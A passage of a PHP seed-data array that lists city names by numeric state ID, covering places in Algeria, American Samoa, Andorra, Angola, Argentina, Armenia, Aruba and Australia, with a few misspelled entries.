'al-ghuli\\'ah'],\n ['state_id' => '124', 'name' => 'al-qararah'],\n ['state_id' => '125', 'name' => 'ilizi'],\n ['state_id' => '126', 'name' => 'amir \\'abd-al-qadar'],\n ['state_id' => '126', 'name' => 'jijili'],\n ['state_id' => '126', 'name' => 'shifka'],\n ['state_id' => '126', 'name' => 'tahar'],\n ['state_id' => '126', 'name' => 'al-miliyah'],\n ['state_id' => '127', 'name' => '\\'ayn wissarah'],\n ['state_id' => '127', 'name' => '\\'ayn-al-ibil'],\n ['state_id' => '127', 'name' => 'birin'],\n ['state_id' => '127', 'name' => 'dar shiyukh'],\n ['state_id' => '127', 'name' => 'hassi bahbah'],\n ['state_id' => '127', 'name' => 'jilfah'],\n ['state_id' => '127', 'name' => 'mis\\'ad'],\n ['state_id' => '127', 'name' => 'sharif'],\n ['state_id' => '127', 'name' => 'al-idrisiyah'],\n ['state_id' => '128', 'name' => 'khanshalah'],\n ['state_id' => '128', 'name' => 'sharshar'],\n ['state_id' => '128', 'name' => 'tawziyanat'],\n ['state_id' => '128', 'name' => 'al-mahmal'],\n ['state_id' => '129', 'name' => '\\'ayn-al-hajal'],\n ['state_id' => '129', 'name' => '\\'ayn-al-milh'],\n ['state_id' => '129', 'name' => 'bu sa\\'adah'],\n ['state_id' => '129', 'name' => 'hammam dhala\\'a'],\n ['state_id' => '129', 'name' => 'ma\\'adid'],\n ['state_id' => '129', 'name' => 'maghra'],\n ['state_id' => '129', 'name' => 'masilah'],\n ['state_id' => '129', 'name' => 'sidi \\'aysa'],\n ['state_id' => '129', 'name' => 'wanugha'],\n ['state_id' => '130', 'name' => '\\'ayn bu sif'],\n ['state_id' => '130', 'name' => 'birwaghiyah'],\n ['state_id' => '130', 'name' => 'midyah'],\n ['state_id' => '130', 'name' => 'qasr-al-bukhari'],\n ['state_id' => '130', 'name' => 'shillalah'],\n ['state_id' => '130', 'name' => 'tablat'],\n ['state_id' => '131', 'name' => 'farjiwah'],\n ['state_id' => '131', 'name' => 'milah'],\n ['state_id' => '131', 'name' => 'qararam quqa'],\n ['state_id' => '131', 'name' => 'ruwashad'],\n ['state_id' => '131', 'name' => 'salghum-al-\\'ayd'],\n ['state_id' => '131', 'name' => 'sidi maruf'],\n ['state_id' => '131', 'name' => 'sidi marwan'],\n ['state_id' => '131', 'name' => 'tajananah'],\n ['state_id' => '131', 'name' => 'talighmah'],\n ['state_id' => '131', 'name' => 'wadi athmaniyah'],\n ['state_id' => '132', 'name' => 'bu khanifiyah'],\n ['state_id' => '132', 'name' => 'muaskar'],\n ['state_id' => '132', 'name' => 'muhammadiyah'],\n ['state_id' => '132', 'name' => 'siq'],\n ['state_id' => '132', 'name' => 'tighinnif'],\n ['state_id' => '132', 'name' => 'wadi al-abtal'],\n ['state_id' => '132', 'name' => 'zahana'],\n ['state_id' => '133', 'name' => '\\'ayn tadalas'],\n ['state_id' => '133', 'name' => 'hassi mamash'],\n ['state_id' => '133', 'name' => 'mazaghran'],\n ['state_id' => '133', 'name' => 'mustaghanam'],\n ['state_id' => '133', 'name' => 'sidi ali'],\n ['state_id' => '134', 'name' => '\\'ayn safra'],\n ['state_id' => '134', 'name' => 'mishriyah'],\n ['state_id' => '134', 'name' => 'naama'],\n ['state_id' => '135', 'name' => 'oran'],\n ['state_id' => '136', 'name' => 'ouargla'],\n ['state_id' => '137', 'name' => '\\'ayn bardah'],\n ['state_id' => '137', 'name' => 'bumahra ahmad'],\n ['state_id' => '137', 'name' => 'hamman awlad \\'ali'],\n ['state_id' => '137', 'name' => 'qalmah'],\n ['state_id' => '137', 'name' => 'wadi zinati'],\n ['state_id' => '138', 'name' => '\\'ayn abid'],\n ['state_id' => '138', 'name' => '\\'ayn samara'],\n ['state_id' => '138', 'name' => 'didush murad'],\n ['state_id' => '138', 'name' => 'hamma bu ziyan'],\n ['state_id' => '138', 'name' => 'qustantinah'],\n ['state_id' => '138', 'name' => 'zighut yusuf'],\n ['state_id' => '138', 'name' => 'al-khurub'],\n ['state_id' => '139', 'name' => '\\'azzabah'],\n ['state_id' => '139', 'name' => 'amjaz adshish'],\n ['state_id' => '139', 'name' => 'fil fila'],\n ['state_id' => '139', 'name' => 'karkira'],\n ['state_id' => '139', 'name' => 'ramadan jamal'],\n ['state_id' => '139', 'name' => 'sakikdah'],\n ['state_id' => '139', 'name' => 'shataybih'],\n ['state_id' => '139', 'name' => 'tamalus'],\n ['state_id' => '139', 'name' => 'al-harush'],\n ['state_id' => '139', 'name' => 'al-qull'],\n ['state_id' => '140', 'name' => '\\'ayn \\'azl'],\n ['state_id' => '140', 'name' => '\\'ayn arnat'],\n ['state_id' => '140', 'name' => '\\'ayn taqrut'],\n ['state_id' => '140', 'name' => '\\'ayn wilman'],\n ['state_id' => '140', 'name' => '\\'ayn-al-khabira'],\n ['state_id' => '140', 'name' => 'bouira'],\n ['state_id' => '140', 'name' => 'buq\\'ah'],\n ['state_id' => '140', 'name' => 'salah bay'],\n ['state_id' => '140', 'name' => 'satif'],\n ['state_id' => '140', 'name' => 'setif'],\n ['state_id' => '140', 'name' => 'ziyama mansuriyah'],\n ['state_id' => '140', 'name' => 'al-\\'ulmah'],\n ['state_id' => '141', 'name' => '\\'ayn-al-hajar'],\n ['state_id' => '141', 'name' => 'sayda\\''],\n ['state_id' => '144', 'name' => '\\'ayn qazzan'],\n ['state_id' => '144', 'name' => '\\'ayn salah'],\n ['state_id' => '144', 'name' => 'tamanghasat'],\n ['state_id' => '145', 'name' => '\\'ayn binyan'],\n ['state_id' => '145', 'name' => 'bu isma\\'il'],\n ['state_id' => '145', 'name' => 'bu midfar\\'ah'],\n ['state_id' => '145', 'name' => 'damus'],\n ['state_id' => '145', 'name' => 'duwirah'],\n ['state_id' => '145', 'name' => 'hajut'],\n ['state_id' => '145', 'name' => 'hammam righa'],\n ['state_id' => '145', 'name' => 'sawlah'],\n ['state_id' => '145', 'name' => 'shiragha'],\n ['state_id' => '145', 'name' => 'shirshall'],\n ['state_id' => '145', 'name' => 'sidi farj'],\n ['state_id' => '145', 'name' => 'stawali'],\n ['state_id' => '145', 'name' => 'tibazah'],\n ['state_id' => '145', 'name' => 'ziralda'],\n ['state_id' => '145', 'name' => 'al-qull\\'ah'],\n ['state_id' => '146', 'name' => 'bi\\'r-al-\\'itir'],\n ['state_id' => '146', 'name' => 'hammamat'],\n ['state_id' => '146', 'name' => 'mursut'],\n ['state_id' => '146', 'name' => 'shariyah'],\n ['state_id' => '146', 'name' => 'tibissah'],\n ['state_id' => '146', 'name' => 'winzah'],\n ['state_id' => '146', 'name' => 'al-\\'awaynat'],\n ['state_id' => '147', 'name' => 'awlad mimun'],\n ['state_id' => '147', 'name' => 'bani mastar'],\n ['state_id' => '147', 'name' => 'bani sikran'],\n ['state_id' => '147', 'name' => 'ghazawat'],\n ['state_id' => '147', 'name' => 'hannayah'],\n ['state_id' => '147', 'name' => 'maghniyah'],\n ['state_id' => '147', 'name' => 'nidruma'],\n ['state_id' => '147', 'name' => 'ramsh'],\n ['state_id' => '147', 'name' => 'sabra'],\n ['state_id' => '147', 'name' => 'shatwan'],\n ['state_id' => '147', 'name' => 'sibdu'],\n ['state_id' => '147', 'name' => 'sidi \\'abdallah'],\n ['state_id' => '147', 'name' => 'tilimsan'],\n ['state_id' => '147', 'name' => 'al-mansurah'],\n ['state_id' => '148', 'name' => 'tinduf'],\n ['state_id' => '149', 'name' => 'thaniyat-al-had'],\n ['state_id' => '149', 'name' => 'tisamsilt'],\n ['state_id' => '150', 'name' => '\\'ayn dhahab'],\n ['state_id' => '150', 'name' => 'firindah'],\n ['state_id' => '150', 'name' => 'mahdiyah'],\n ['state_id' => '150', 'name' => 'mashra\\'a asfa'],\n ['state_id' => '150', 'name' => 'qasr shillalah'],\n ['state_id' => '150', 'name' => 'rahuyah'],\n ['state_id' => '150', 'name' => 'sughar'],\n ['state_id' => '150', 'name' => 'takhamarat'],\n ['state_id' => '150', 'name' => 'tiyarat'],\n ['state_id' => '152', 'name' => '\\'ayn bayda'],\n ['state_id' => '152', 'name' => '\\'ayn fakrun'],\n ['state_id' => '152', 'name' => '\\'ayn kirshah'],\n ['state_id' => '152', 'name' => '\\'ayn malilah'],\n ['state_id' => '152', 'name' => 'bi\\'r shuhada'],\n ['state_id' => '152', 'name' => 'miskyanah'],\n ['state_id' => '152', 'name' => 'shamurah'],\n ['state_id' => '152', 'name' => 'umm-al-bawaghi'],\n ['state_id' => '153', 'name' => '\\'ayn biya'],\n ['state_id' => '153', 'name' => '\\'ayn-at-turk'],\n ['state_id' => '153', 'name' => 'arzu'],\n ['state_id' => '153', 'name' => 'bi\\'r-al-jir'],\n ['state_id' => '153', 'name' => 'butlilis'],\n ['state_id' => '153', 'name' => 'hassi bu nif'],\n ['state_id' => '153', 'name' => 'mars-al-kabir'],\n ['state_id' => '153', 'name' => 'qadayal'],\n ['state_id' => '153', 'name' => 'sidi ash-shami'],\n ['state_id' => '153', 'name' => 'wadi thalatha'],\n ['state_id' => '153', 'name' => 'wahran'],\n ['state_id' => '153', 'name' => 'al-ansur'],\n ['state_id' => '153', 'name' => 'as-saniyah'],\n ['state_id' => '154', 'name' => 'hassi mas\\'ud'],\n ['state_id' => '154', 'name' => 'nazla'],\n ['state_id' => '154', 'name' => 'ruwisiyat'],\n ['state_id' => '154', 'name' => 'tabisbast'],\n ['state_id' => '154', 'name' => 'tamalhat'],\n ['state_id' => '154', 'name' => 'tamasin'],\n ['state_id' => '154', 'name' => 'tayabat-al-janubiyah'],\n ['state_id' => '154', 'name' => 'tughghurt'],\n ['state_id' => '154', 'name' => 'warqla'],\n ['state_id' => '154', 'name' => 'al-hajirah'],\n ['state_id' => '158', 'name' => 'aflu'],\n ['state_id' => '158', 'name' => 'hassi al-raml'],\n ['state_id' => '158', 'name' => 'al-aghwat'],\n ['state_id' => '159', 'name' => 'brizyanah'],\n ['state_id' => '159', 'name' => 'al-abyad sidi shaykh'],\n ['state_id' => '159', 'name' => 'al-bayadh'],\n ['state_id' => '160', 'name' => 'bab azwar'],\n ['state_id' => '160', 'name' => 'baraki'],\n ['state_id' => '160', 'name' => 'bir murad rais'],\n ['state_id' => '160', 'name' => 'birkhadam'],\n ['state_id' => '160', 'name' => 'burj-al-kiffan'],\n ['state_id' => '160', 'name' => 'dar-al-bayda'],\n ['state_id' => '160', 'name' => 'al-jaza\\'ir'],\n ['state_id' => '161', 'name' => 'bayadha'],\n ['state_id' => '161', 'name' => 'dabilah'],\n ['state_id' => '161', 'name' => 'hassan \\'abd-al-karim'],\n ['state_id' => '161', 'name' => 'hassi halifa'],\n ['state_id' => '161', 'name' => 'jama\\'a'],\n ['state_id' => '161', 'name' => 'maqran'],\n ['state_id' => '161', 'name' => 'qamar'],\n ['state_id' => '161', 'name' => 'raqiba'],\n ['state_id' => '161', 'name' => 'rubbah'],\n ['state_id' => '161', 'name' => 'sidi amran'],\n ['state_id' => '161', 'name' => 'al-mighair'],\n ['state_id' => '161', 'name' => 'al-wad'],\n ['state_id' => '162', 'name' => '\\'ayn maran'],\n ['state_id' => '162', 'name' => 'abu al-hassan'],\n ['state_id' => '162', 'name' => 'bani hawa'],\n ['state_id' => '162', 'name' => 'bu qadir'],\n ['state_id' => '162', 'name' => 'sidi ukaskah'],\n ['state_id' => '162', 'name' => 'tanas'],\n ['state_id' => '162', 'name' => 'wadi sali'],\n ['state_id' => '162', 'name' => 'wadi al-fiddah'],\n ['state_id' => '162', 'name' => 'ash-shalif'],\n ['state_id' => '162', 'name' => 'ash-shattiyah'],\n ['state_id' => '163', 'name' => 'ban mahdi'],\n ['state_id' => '163', 'name' => 'bani amar'],\n ['state_id' => '163', 'name' => 'basbas'],\n ['state_id' => '163', 'name' => 'dariyan'],\n ['state_id' => '163', 'name' => 'saba\\'ita muk'],\n ['state_id' => '163', 'name' => 'al-qal\\'ah'],\n ['state_id' => '163', 'name' => 'at-tarif'],\n ['state_id' => '164', 'name' => 'afono'],\n ['state_id' => '164', 'name' => 'alao'],\n ['state_id' => '164', 'name' => 'alofau'],\n ['state_id' => '164', 'name' => 'amouli'],\n ['state_id' => '164', 'name' => 'aoa'],\n ['state_id' => '164', 'name' => 'atu\\'u'],\n ['state_id' => '164', 'name' => 'aua'],\n ['state_id' => '164', 'name' => 'aunu\\'u'],\n ['state_id' => '164', 'name' => 'faga\\'alu'],\n ['state_id' => '164', 'name' => 'faga\\'itua'],\n ['state_id' => '164', 'name' => 'fagasa'],\n ['state_id' => '164', 'name' => 'fagatogo'],\n ['state_id' => '164', 'name' => 'lauli\\'i'],\n ['state_id' => '164', 'name' => 'leloaloa'],\n ['state_id' => '164', 'name' => 'nu\\'uuli'],\n ['state_id' => '164', 'name' => 'pago pago'],\n ['state_id' => '164', 'name' => 'tula'],\n ['state_id' => '164', 'name' => 'utulei'],\n ['state_id' => '164', 'name' => 'vatia'],\n ['state_id' => '165', 'name' => 'ofu'],\n ['state_id' => '167', 'name' => 'aoloau'],\n ['state_id' => '167', 'name' => 'faleniu'],\n ['state_id' => '167', 'name' => 'futiga'],\n ['state_id' => '167', 'name' => 'ili\\'ili'],\n ['state_id' => '167', 'name' => 'leone'],\n ['state_id' => '167', 'name' => 'malaeimi'],\n ['state_id' => '167', 'name' => 'malaeloa-aitulagi'],\n ['state_id' => '167', 'name' => 'malaeloa-ituau'],\n ['state_id' => '167', 'name' => 'mapusagafou'],\n ['state_id' => '167', 'name' => 'mesepa'],\n ['state_id' => '167', 'name' => 'pava\\'ia\\'i'],\n ['state_id' => '167', 'name' => 'tafuna'],\n ['state_id' => '167', 'name' => 'taputimu'],\n ['state_id' => '167', 'name' => 'vailoatai'],\n ['state_id' => '167', 'name' => 'vaitogi'],\n ['state_id' => '169', 'name' => 'canillo'],\n ['state_id' => '170', 'name' => 'encamp'],\n ['state_id' => '173', 'name' => 'ordino'],\n ['state_id' => '175', 'name' => 'caxito'],\n ['state_id' => '176', 'name' => 'benguela'],\n ['state_id' => '176', 'name' => 'lobito'],\n ['state_id' => '177', 'name' => 'camacupa'],\n ['state_id' => '177', 'name' => 'catabola'],\n ['state_id' => '177', 'name' => 'catumbela'],\n ['state_id' => '177', 'name' => 'chissamba'],\n ['state_id' => '177', 'name' => 'kuito'],\n ['state_id' => '178', 'name' => 'cabinda'],\n ['state_id' => '179', 'name' => 'ondjiva'],\n ['state_id' => '180', 'name' => 'caala'],\n ['state_id' => '180', 'name' => 'catchiungo'],\n ['state_id' => '180', 'name' => 'huambo'],\n ['state_id' => '180', 'name' => 'longonjo'],\n ['state_id' => '181', 'name' => 'caconda'],\n ['state_id' => '181', 'name' => 'caluquembe'],\n ['state_id' => '181', 'name' => 'lubango'],\n ['state_id' => '182', 'name' => 'menongue'],\n ['state_id' => '185', 'name' => 'luanda'],\n ['state_id' => '188', 'name' => 'malanje'],\n ['state_id' => '189', 'name' => 'cazaje'],\n ['state_id' => '189', 'name' => 'leua'],\n ['state_id' => '189', 'name' => 'luau'],\n ['state_id' => '189', 'name' => 'luena'],\n ['state_id' => '189', 'name' => 'lumeje'],\n ['state_id' => '190', 'name' => 'namibe'],\n ['state_id' => '191', 'name' => 'camabatela'],\n ['state_id' => '191', 'name' => 'uige'],\n ['state_id' => '192', 'name' => 'm\\'banza-kongo'],\n ['state_id' => '192', 'name' => 'n\\'zeto'],\n ['state_id' => '192', 'name' => 'soyo'],\n ['state_id' => '201', 'name' => 'codrington'],\n ['state_id' => '209', 'name' => 'catamarca'],\n ['state_id' => '210', 'name' => 'presidencia roque saenz pena'],\n ['state_id' => '210', 'name' => 'resistencia'],\n ['state_id' => '211', 'name' => 'comodoro rivadavia'],\n ['state_id' => '211', 'name' => 'puerto madryn'],\n ['state_id' => '211', 'name' => 'rawson'],\n ['state_id' => '211', 'name' => 'trelew'],\n ['state_id' => '212', 'name' => 'alta gracia'],\n ['state_id' => '212', 'name' => 'bell ville'],\n ['state_id' => '212', 'name' => 'cordoba'],\n ['state_id' => '212', 'name' => 'rio cuarto'],\n ['state_id' => '212', 'name' => 'rio tercero'],\n ['state_id' => '212', 'name' => 'san francisco'],\n ['state_id' => '212', 'name' => 'villa carlos paz'],\n ['state_id' => '212', 'name' => 'villa maria'],\n ['state_id' => '213', 'name' => 'corrientes'],\n ['state_id' => '213', 'name' => 'goya'],\n ['state_id' => '213', 'name' => 'mercedes'],\n ['state_id' => '213', 'name' => 'san lorenzo'],\n ['state_id' => '216', 'name' => 'formosa'],\n ['state_id' => '217', 'name' => 'jujuy'],\n ['state_id' => '217', 'name' => 'libertador general san martin'],\n ['state_id' => '217', 'name' => 'san pedro'],\n ['state_id' => '220', 'name' => 'godoy cruz'],\n ['state_id' => '220', 'name' => 'lujan'],\n ['state_id' => '220', 'name' => 'mendoza'],\n ['state_id' => '220', 'name' => 'rivadavia'],\n ['state_id' => '220', 'name' => 'san martin'],\n ['state_id' => '220', 'name' => 'san rafael'],\n ['state_id' => '221', 'name' => 'eldorado'],\n ['state_id' => '221', 'name' => 'obera'],\n ['state_id' => '221', 'name' => 'posadas'],\n ['state_id' => '222', 'name' => 'cutral co'],\n ['state_id' => '222', 'name' => 'neuquen'],\n ['state_id' => '224', 'name' => 'salta'],\n ['state_id' => '224', 'name' => 'san ramon de la nueva oran'],\n ['state_id' => '224', 'name' => 'tartagal'],\n ['state_id' => '231', 'name' => 'tucuman'],\n ['state_id' => '232', 'name' => 'ashtarak'],\n ['state_id' => '232', 'name' => 'talin'],\n ['state_id' => '233', 'name' => 'ararat'],\n ['state_id' => '233', 'name' => 'artashat'],\n ['state_id' => '234', 'name' => 'armavir'],\n ['state_id' => '234', 'name' => 'vagharshapat'],\n ['state_id' => '235', 'name' => 'gavar'],\n ['state_id' => '235', 'name' => 'martuni'],\n ['state_id' => '235', 'name' => 'sevan'],\n ['state_id' => '235', 'name' => 'vardenis'],\n ['state_id' => '236', 'name' => 'abovyan'],\n ['state_id' => '236', 'name' => 'arzni'],\n ['state_id' => '236', 'name' => 'charentsavan'],\n ['state_id' => '236', 'name' => 'hrazdan'],\n ['state_id' => '237', 'name' => 'akhtala'],\n ['state_id' => '237', 'name' => 'alaverdi'],\n ['state_id' => '237', 'name' => 'spitak'],\n ['state_id' => '237', 'name' => 'stepanavan'],\n ['state_id' => '237', 'name' => 'tashir'],\n ['state_id' => '237', 'name' => 'vanadzor'],\n ['state_id' => '238', 'name' => 'artik'],\n ['state_id' => '238', 'name' => 'gyumri'],\n ['state_id' => '239', 'name' => 'stepanakert'],\n ['state_id' => '240', 'name' => 'angeghakot'],\n ['state_id' => '240', 'name' => 'goris'],\n ['state_id' => '240', 'name' => 'kajaran'],\n ['state_id' => '240', 'name' => 'kapan'],\n ['state_id' => '240', 'name' => 'meghri'],\n ['state_id' => '240', 'name' => 'sisian'],\n ['state_id' => '241', 'name' => 'dilijan'],\n ['state_id' => '241', 'name' => 'ijevan'],\n ['state_id' => '243', 'name' => 'yerevan'],\n ['state_id' => '244', 'name' => 'aruba'],\n ['state_id' => '245', 'name' => 'glenfield'],\n ['state_id' => '245', 'name' => 'henderson'],\n ['state_id' => '245', 'name' => 'milford'],\n ['state_id' => '247', 'name' => 'balgowlah'],\n ['state_id' => '248', 'name' => 'balmain'],\n ['state_id' => '249', 'name' => 'bankstown'],\n ['state_id' => '252', 'name' => 'camberwell'],\n ['state_id' => '255', 'name' => 'caulfield'],\n ['state_id' => '256', 'name' => 'chatswood'],\n ['state_id' => '257', 'name' => 'cheltenham'],\n ['state_id' => '258', 'name' => 'cherrybrook'],\n ['state_id' => '259', 'name' => 'clayton'],\n ['state_id' => '260', 'name' => 'collingwood'],\n ['state_id' => '262', 'name' => 'hawthorn'],\n ['state_id' => '263', 'name' => 'jannnali'],\n ['state_id' => '264', 'name' => 'knoxfield'],\n ['state_id' => '265', 'name' => 'melbourne'],\n ['state_id' => '265', 'name' => 'south oakleigh'],\n ['state_id' => '268', 'name' => 'cottesole'],\n ['state_id' => '268', 'name' => 'darch'],\n ['state_id' => '268', 'name' => 'mullaloo'],\n ['state_id' => '268', 'name' => 'noranda'],\n ['state_id' => '268', 'name' => 'osborne park'],\n ['state_id' => '268', 'name' => 'willetton'],\n ['state_id' => '269', 'name' => 'acacia ridge'],\n ['state_id' => '269', 'name' => 'aitkenvale'],\n ['state_id' => '269', 'name' => 'alderley'],\n ['state_id' => '269', 'name' => 'alexander hills'],\n ['state_id' => '269', 'name' => 'archerfield'],\n ['state_id' => '269', 'name' => 'ashmore'],\n ['state_id' => '269', 'name' => 'atherton'],\n ['state_id' => '269', 'name' => 'ayr'],\n ['state_id' => '269', 'name' => 'beachmere'],\n ['state_id' => '269', 'name' => 'beenleigh'],\n ['state_id' => '269', 'name' => 'beerwah'],\n ['state_id' => '269', 'name' => 'bell'],\n ['state_id' => '269', 'name' => 'belmont'],\n ['state_id' => '269', 'name' => 'biloela'],\n ['state_id' => '269', 'name' => 'birkdale'],\n ['state_id' => '269', 'name' => 'blackwater'],\n ['state_id' => '269', 'name' => 'bongaree'],\n ['state_id' => '269', 'name' => 'bonogin'],\n ['state_id' => '269', 'name' => 'boonah'],\n ['state_id' => '269', 'name' => 'bowen'],\n ['state_id' => '269', 'name' => 'brendale'],\n ['state_id' => '269', 'name' => 'brisbane'],\n ['state_id' => '269', 'name' => 'buddina'],\n ['state_id' => '269', 'name' => 'buderim'],\n ['state_id' => '269', 'name' => 'bundaberg'],\n ['state_id' => '269', 'name' => 'bundall'],\n ['state_id' => '269', 'name' => 'burleigh heads'],\n ['state_id' => '269', 'name' => 'burpengary'],\n ['state_id' => '269', 'name' => 'cabaland'],\n ['state_id' => '269', 'name' => 'caboolture'],\n ['state_id' => '269', 'name' => 'cairns'],\n ['state_id' => '269', 'name' => 'cairns northern beaches'],\n ['state_id' => '269', 'name' => 'caloundra'],\n ['state_id' => '269', 'name' => 'capalaba'],\n ['state_id' => '269', 'name' => 'charters towers'],\n ['state_id' => '269', 'name' => 'childers'],\n ['state_id' => '269', 'name' => 'cleveland'],\n ['state_id' => '269', 'name' => 'coolum beach'],\n ['state_id' => '269', 'name' => 'coopers plain'],\n ['state_id' => '269', 'name' => 'dalby'],\n ['state_id' => '269', 'name' => 'deception bay'],\n ['state_id' => '269', 'name' => 'eagle farm'],\n ['state_id' => '269', 'name' => 'eagleby'],\n ['state_id' => '269', 'name' => 'emerald'],\n ['state_id' => '269', 'name' => 'emundi'],\n ['state_id' => '269', 'name' => 'forest lake'],\n ['state_id' => '269', 'name' => 'gatton'],\n ['state_id' => '269', 'name' => 'gladstone'],\n ['state_id' => '269', 'name' => 'gold coast'],\n ['state_id' => '269', 'name' => 'gowrie junction'],\n ['state_id' => '269', 'name' => 'gympie'],\n ['state_id' => '269', 'name' => 'helensvale'],\n ['state_id' => '269', 'name' => 'hervey bay'],\n ['state_id' => '269', 'name' => 'ingham'],\n ['state_id' => '269', 'name' => 'innisfail'],\n ['state_id' => '269', 'name' => 'ipswich'],\n ['state_id' => '269', 'name' => 'jindalee'],\n ['state_id' => '269', 'name' => 'julatten'],\n ['state_id' => '269', 'name' => 'kawana waters'],\n ['state_id' => '269', 'name' => 'kingaroy'],\n ['state_id' => '269', 'name' => 'lawnton'],\n ['state_id' => '269', 'name' => 'loganholme'],\n ['state_id' => '269', 'name' => 'mackay'],\n ['state_id' => '269', 'name' => 'mareeba'],\n ['state_id' => '269', 'name' => 'maroochydore'],\n ['state_id' => '269', 'name' => 'maroochydore-mooloolaba'],\n ['state_id' => '269', 'name' => 'maryborough'],\n ['state_id' => '269', 'name' => 'miami'],\n ['state_id' => '269', 'name' => 'milton'],\n ['state_id' => '269', 'name' => 'molendinar'],\n ['state_id' => '269', 'name' => 'moranbah'],\n ['state_id' => '269', 'name' => 'morayfield'],\n ['state_id' => '269', 'name' => 'mossman'],\n ['state_id' => '269', 'name' => 'mount glorious'],\n ['state_id' => '269', 'name' => 'mount isa'],\n ['state_id' => '269', 'name' => 'murarrie'],\n ['state_id' => '269', 'name' => 'nairand kay'],\n ['state_id' => '269', 'name' => 'nambour'],\n ['state_id' => '269', 'name' => 'nerang'],\n ['state_id' => '269', 'name' => 'nobby beach'],\n ['state_id' => '269', 'name' => 'noosa heads'],\n ['state_id' => '269', 'name' => 'noosaville'],\n ['state_id' => '269', 'name' => 'paddington'],\n ['state_id' => '269', 'name' => 'port douglas'],\n ['state_id' => '269', 'name' => 'robina'],\n ['state_id' => '269', 'name' => 'rockhampton'],\n ['state_id' => '269', 'name' => 'rocklea'],\n ['state_id' => '269', 'name' => 'roma'],\n ['state_id' => '269', 'name' => 'rubyvale'],\n ['state_id' => '269', 'name' => 'sanctuary cove'],\n ['state_id' => '269', 'name' => 'slade point'],\n ['state_id' => '269', 'name' => 'southport'],\n ['state_id' => '269', 'name' => 'suburb'],\n ['state_id' => '269', 'name' => 'sunshine coast'],\n ['state_id' => '269', 'name' => 'tewantin-noosa'],\n ['state_id' => '269', 'name' => 'the summit'],\n ['state_id' => '269', 'name' => 'toowong'],\n ['state_id' => '269', 'name' => 'toowoomba'],\n ['state_id' => '269', 'name' => 'townsville'],\n ['state_id' => '269', 'name' => 'victoria point'],\n ['state_id' => '269', 'name' => 'warwick'],\n ['state_id' => '269', 'name' => 'willawong'],\n ['state_id' => '269', 'name' => 'yatala'],\n ['state_id' => '269', 'name' => 'yeppoon'],\n ['state_id' => '269', 'name' => 'zillmere'],\n ['state_id' => '271', 'name' => 'bridgewater-gagebrook'],\n ['state_id' => '271', 'name' => 'burnie'],\n ['state_id' => '271', 'name' => 'burnie-devonport'],\n ['state_id' => '271', 'name' => 'glenorchy'],\n ['state_id' => '271', 'name' => 'hobart'],\n ['state_id' => '271', 'name' => 'kingston-blackmans bay'],\n ['state_id' => '271', 'name' => 'launceston'],\n ['state_id' => '271', 'name' => 'new norfolk'],\n ['state_id' => '271', 'name' => 'rowella'],\n ['state_id' => '271', 'name' => 'sheffield'],\n ['state_id' => '271', 'name' => 'ulverstone'],\n ['state_id' => '272', 'name' => 'templestowe'],\n ['state_id' => '273', 'name' => 'albion'],\n ['state_id' => '273', 'name' => 'ararat'],\n ['state_id' => '273', 'name' => 'avenel'],\n ['state_id' => '273', 'name' => 'avondale heights'],\n ['state_id' => '273', 'name' => 'baccus marsh'],\n ['state_id' => '273', 'name' => 'bairnsdale'],\n ['state_id' => '273', 'name' => 'ballarat'],\n ['state_id' => '273', 'name' => 'balwyn'],\n ['state_id' => '273', 'name' => 'batman'],\n ['state_id' => '273', 'name' => 'bayswater'],\n ['state_id' => '273', 'name' => 'belmont'],\n ['state_id' => '273', 'name' => 'benalla'],\n ['state_id' => '273', 'name' => 'bendigo'],\n ['state_id' => '273', 'name' => 'bentleigh east'],\n ['state_id' => '273', 'name' => 'berwick'],\n ['state_id' => '273', 'name' => 'blackburn'],\n ['state_id' => '273', 'name' => 'blue mountains'],\n ['state_id' => '273', 'name' => 'boonah'],\n ['state_id' => '273', 'name' => 'boronia'],\n ['state_id' => '273', 'name' => 'box hill'],\n ['state_id' => '273', 'name' => 'brighton east'],\n ['state_id' => '273', 'name' => 'bundoora'],\n ['state_id' => '273', 'name' => 'campbellfield'],\n ['state_id' => '273', 'name' => 'carlton south'],\n ['state_id' => '273', 'name' => 'caroline springs'],\n ['state_id' => '273', 'name' => 'castle hill'],\n ['state_id' => '273', 'name' => 'castlemaine'],\n ['state_id' => '273', 'name' => 'caulfield'],\n ['state_id' => '273', 'name' => 'cheltenham'],\n ['state_id' => '273', 'name' => 'chester'],\n ['state_id' => '273', 'name' => 'clayton south'],\n ['state_id' => '273', 'name' => 'clifton springs'],\n ['state_id' => '273', 'name' => 'coburg'],\n ['state_id' => '273', 'name' => 'colac'],\n ['state_id' => '273', 'name' => 'collingwood'],\n ['state_id' => '273', 'name' => 'craigieburn'],\n ['state_id' => '273', 'name' => 'cranbourne'],\n ['state_id' => '273', 'name' => 'crib point'],\n ['state_id' => '273', 'name' => 'dandenong'],\n ['state_id' => '273', 'name' => 'devon meadows'],\n ['state_id' => '273', 'name' => 'diamond creek'],\n ['state_id' => '273', 'name' => 'doncaster east'],\n ['state_id' => '273', 'name' => 'doncester'],\n ['state_id' => '273', 'name' => 'donvale'],\n ['state_id' => '273', 'name' => 'echuca-moama'],\n ['state_id' => '273', 'name' => 'elsternwick'],\n ['state_id' => '273', 'name' => 'eltham'],\n ['state_id' => '273', 'name' => 'fairfield'],\n ['state_id' => '273', 'name' => 'fitzroy'],\n ['state_id' => '273', 'name' => 'frnakston'],\n ['state_id' => '273', 'name' => 'geelong'],\n ['state_id' => '273', 'name' => 'glen waverley'],\n ['state_id' => '273', 'name' => 'glenorchy'],\n ['state_id' => '273', 'name' => 'hallam'],\n ['state_id' => '273', 'name' => 'hamilton'],\n ['state_id' => '273', 'name' => 'hastings'],\n ['state_id' => '273', 'name' => 'healesville'],\n ['state_id' => '273', 'name' => 'horsham'],\n ['state_id' => '273', 'name' => 'hughesdale'],\n ['state_id' => '273', 'name' => 'ivanhoe'],\n ['state_id' => '273', 'name' => 'keilor'],\n ['state_id' => '273', 'name' => 'kensington'],\n ['state_id' => '273', 'name' => 'kerang'],\n ['state_id' => '273', 'name' => 'kilmore'],\n ['state_id' => '273', 'name' => 'kilsyth'],\n ['state_id' => '273', 'name' => 'kyabram'],\n ['state_id' => '273', 'name' => 'lakes entrance'],\n ['state_id' => '273', 'name' => 'lalor'],\n ['state_id' => '273', 'name' => 'lara'],\n ['state_id' => '273', 'name' => 'laverton north'],\n ['state_id' => '273', 'name' => 'leopold'],\n ['state_id' => '273', 'name' => 'lower templestowe'],\n ['state_id' => '273', 'name' => 'maidstone'],\n ['state_id' => '273', 'name' => 'malvern'],\n ['state_id' => '273', 'name' => 'maryborough'],\n ['state_id' => '273', 'name' => 